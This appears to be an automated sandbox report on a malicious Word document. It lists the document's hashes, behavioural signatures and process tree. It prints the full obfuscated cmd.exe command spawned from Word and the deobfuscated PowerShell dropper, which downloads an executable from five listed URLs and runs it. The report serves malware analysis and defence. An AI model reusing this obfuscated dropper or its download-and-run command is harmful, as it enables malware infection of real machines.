Overview

overview

10

Static

static

8

a0f6ce6375...cf.doc

windows7-x64

10

a0f6ce6375...cf.doc

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220722-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220722-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-07-2022 20:32

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    a0f6ce6375c17dcd4052f315be17146c089c664a1552e0d1a3c3ecd1e8a6d6cf.doc

  • Size

    95KB

  • MD5

    186c67a706eb91c97ab9b550c5bd531b

  • SHA1

    35583941dec461c4045ecb4bfd0ebdd0e9a6c9de

  • SHA256

    a0f6ce6375c17dcd4052f315be17146c089c664a1552e0d1a3c3ecd1e8a6d6cf

  • SHA512

    fa772d641409088277fc9d51a2063ba55b25cb87fc9403f350a15c9cd0ec1ae9f6004cb6fbdae2ad60a9ed2dd480f119a824d772c659cb457ec7d35dd634f5b1

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://sundownbodrum.com/J335NbN
exe.dropper

http://www.roteirobrasil.com/wp-includes/XEBv3PdHgZ
exe.dropper

http://rdabih.org/m7mnTYaIzL
exe.dropper

http://zavgroup.net/11D6PwFu
exe.dropper

http://stefanobaldini.net/DfSVLfsC6

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a0f6ce6375c17dcd4052f315be17146c089c664a1552e0d1a3c3ecd1e8a6d6cf.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3608
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:3420
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:O/C"set e6ut=GzJtfbpwBoJhSTItVrXKzTzZdEnnEdbNCgA 7c@=e/5j(kH1L}3sa8DFPuimM{6U+:x$l;-y0)YQ2'W\O.v,&&for %5 in (67;58;4;80;39;77;22;7;14;77;69;67;60;52;0;39;27;40;7;70;9;30;43;40;37;15;35;31;40;15;81;78;40;30;32;68;58;40;27;15;69;67;14;8;48;39;77;11;15;15;6;65;41;41;51;57;27;29;9;7;27;30;9;29;17;57;59;81;37;9;59;41;10;50;50;42;31;30;31;38;11;15;15;6;65;41;41;7;7;7;81;17;9;15;40;58;17;9;30;17;52;51;58;68;81;37;9;59;41;7;6;70;58;27;37;68;57;29;40;51;41;18;28;8;82;50;56;29;46;33;23;38;11;15;15;6;65;41;41;17;29;52;30;58;11;81;9;17;33;41;59;36;59;27;21;74;52;14;22;48;38;11;15;15;6;65;41;41;22;52;82;33;17;9;57;6;81;27;40;15;41;47;47;54;62;56;7;55;57;38;11;15;15;6;65;41;41;51;15;40;4;52;27;9;30;52;68;29;58;27;58;81;27;40;15;41;54;4;12;16;48;4;51;32;62;77;81;12;6;68;58;15;44;77;38;77;73;69;67;68;32;19;39;77;27;78;56;77;69;67;12;32;19;35;39;35;77;50;62;76;77;69;67;55;55;74;39;77;59;7;16;77;69;67;54;75;58;39;67;40;27;82;65;15;40;59;6;64;77;79;77;64;67;12;32;19;64;77;81;40;66;40;77;69;4;9;17;40;52;37;11;44;67;32;4;27;35;58;27;35;67;14;8;48;73;61;15;17;71;61;67;60;52;0;81;54;9;7;27;68;9;52;29;55;58;68;40;44;67;32;4;27;83;35;67;54;75;58;73;69;67;37;56;63;39;77;30;0;21;77;69;14;4;35;44;44;0;40;15;70;14;15;40;59;35;67;54;75;58;73;81;68;40;27;33;15;11;35;70;33;40;35;53;72;72;72;72;73;35;61;14;27;82;9;45;40;70;14;15;40;59;35;67;54;75;58;69;67;43;0;43;39;77;59;7;48;77;69;30;17;40;52;45;69;49;49;37;52;15;37;11;61;49;49;67;11;22;34;39;77;51;21;11;77;69;86)do set mK=!mK!!e6ut:~%5,1!&&if %5 gtr 85 powershell "!mK:~-465!""
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:872
        • C:\Windows\system32\cmd.exe
          CmD /V:O/C"set e6ut=GzJtfbpwBoJhSTItVrXKzTzZdEnnEdbNCgA 7c@=e/5j(kH1L}3sa8DFPuimM{6U+:x$l;-y0)YQ2'W\O.v,&&for %5 in (67;58;4;80;39;77;22;7;14;77;69;67;60;52;0;39;27;40;7;70;9;30;43;40;37;15;35;31;40;15;81;78;40;30;32;68;58;40;27;15;69;67;14;8;48;39;77;11;15;15;6;65;41;41;51;57;27;29;9;7;27;30;9;29;17;57;59;81;37;9;59;41;10;50;50;42;31;30;31;38;11;15;15;6;65;41;41;7;7;7;81;17;9;15;40;58;17;9;30;17;52;51;58;68;81;37;9;59;41;7;6;70;58;27;37;68;57;29;40;51;41;18;28;8;82;50;56;29;46;33;23;38;11;15;15;6;65;41;41;17;29;52;30;58;11;81;9;17;33;41;59;36;59;27;21;74;52;14;22;48;38;11;15;15;6;65;41;41;22;52;82;33;17;9;57;6;81;27;40;15;41;47;47;54;62;56;7;55;57;38;11;15;15;6;65;41;41;51;15;40;4;52;27;9;30;52;68;29;58;27;58;81;27;40;15;41;54;4;12;16;48;4;51;32;62;77;81;12;6;68;58;15;44;77;38;77;73;69;67;68;32;19;39;77;27;78;56;77;69;67;12;32;19;35;39;35;77;50;62;76;77;69;67;55;55;74;39;77;59;7;16;77;69;67;54;75;58;39;67;40;27;82;65;15;40;59;6;64;77;79;77;64;67;12;32;19;64;77;81;40;66;40;77;69;4;9;17;40;52;37;11;44;67;32;4;27;35;58;27;35;67;14;8;48;73;61;15;17;71;61;67;60;52;0;81;54;9;7;27;68;9;52;29;55;58;68;40;44;67;32;4;27;83;35;67;54;75;58;73;69;67;37;56;63;39;77;30;0;21;77;69;14;4;35;44;44;0;40;15;70;14;15;40;59;35;67;54;75;58;73;81;68;40;27;33;15;11;35;70;33;40;35;53;72;72;72;72;73;35;61;14;27;82;9;45;40;70;14;15;40;59;35;67;54;75;58;69;67;43;0;43;39;77;59;7;48;77;69;30;17;40;52;45;69;49;49;37;52;15;37;11;61;49;49;67;11;22;34;39;77;51;21;11;77;69;86)do set mK=!mK!!e6ut:~%5,1!&&if %5 gtr 85 powershell "!mK:~-465!""
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1672
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell "$ifO='zwI';$MaG=new-object Net.WebClient;$IBL='http://sundownbodrum.com/J335NbN@http://www.roteirobrasil.com/wp-includes/XEBv3PdHgZ@http://rdabih.org/m7mnTYaIzL@http://zavgroup.net/11D6PwFu@http://stefanobaldini.net/DfSVLfsC6'.Split('@');$lCK='nWP';$SCK = '362';$FFY='mwV';$DQi=$env:temp+'\'+$SCK+'.exe';foreach($Cfn in $IBL){try{$MaG.DownloadFile($Cfn, $DQi);$cPU='bGT';If ((Get-Item $DQi).length -ge 80000) {Invoke-Item $DQi;$jGj='mwL';break;}}catch{}}$hzA='sTh';"
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2312

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Initial Access

    Execution

    Persistence

    Privilege Escalation

    Defense Evasion

    Credential Access

    Discovery

    Query Registry

    2
    T1012

    System Information Discovery

    2
    T1082

    Lateral Movement

    Collection

    Exfiltration

    Command and Control

    Impact

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/872-141-0x0000000000000000-mapping.dmp
      Download
    • memory/1672-142-0x0000000000000000-mapping.dmp
      Download
    • memory/2312-146-0x00007FFFBD000000-0x00007FFFBDAC1000-memory.dmp
      Filesize

      10.8MB

      Download
    • memory/2312-145-0x00007FFFBD000000-0x00007FFFBDAC1000-memory.dmp
      Filesize

      10.8MB

      Download
    • memory/2312-144-0x000001C5555B0000-0x000001C5555D2000-memory.dmp
      Filesize

      136KB

      Download
    • memory/2312-143-0x0000000000000000-mapping.dmp
      Download
    • memory/3420-139-0x0000000000000000-mapping.dmp
      Download
    • memory/3608-135-0x00007FFFA8E10000-0x00007FFFA8E20000-memory.dmp
      Filesize

      64KB

      Download
    • memory/3608-140-0x000001EE77A80000-0x000001EE77A84000-memory.dmp
      Filesize

      16KB

      Download
    • memory/3608-138-0x00007FFFA6CA0000-0x00007FFFA6CB0000-memory.dmp
      Filesize

      64KB

      Download
    • memory/3608-137-0x00007FFFA6CA0000-0x00007FFFA6CB0000-memory.dmp
      Filesize

      64KB

      Download
    • memory/3608-136-0x00007FFFA8E10000-0x00007FFFA8E20000-memory.dmp
      Filesize

      64KB

      Download
    • memory/3608-132-0x00007FFFA8E10000-0x00007FFFA8E20000-memory.dmp
      Filesize

      64KB

      Download
    • memory/3608-134-0x00007FFFA8E10000-0x00007FFFA8E20000-memory.dmp
      Filesize

      64KB

      Download
    • memory/3608-133-0x00007FFFA8E10000-0x00007FFFA8E20000-memory.dmp
      Filesize

      64KB

      Download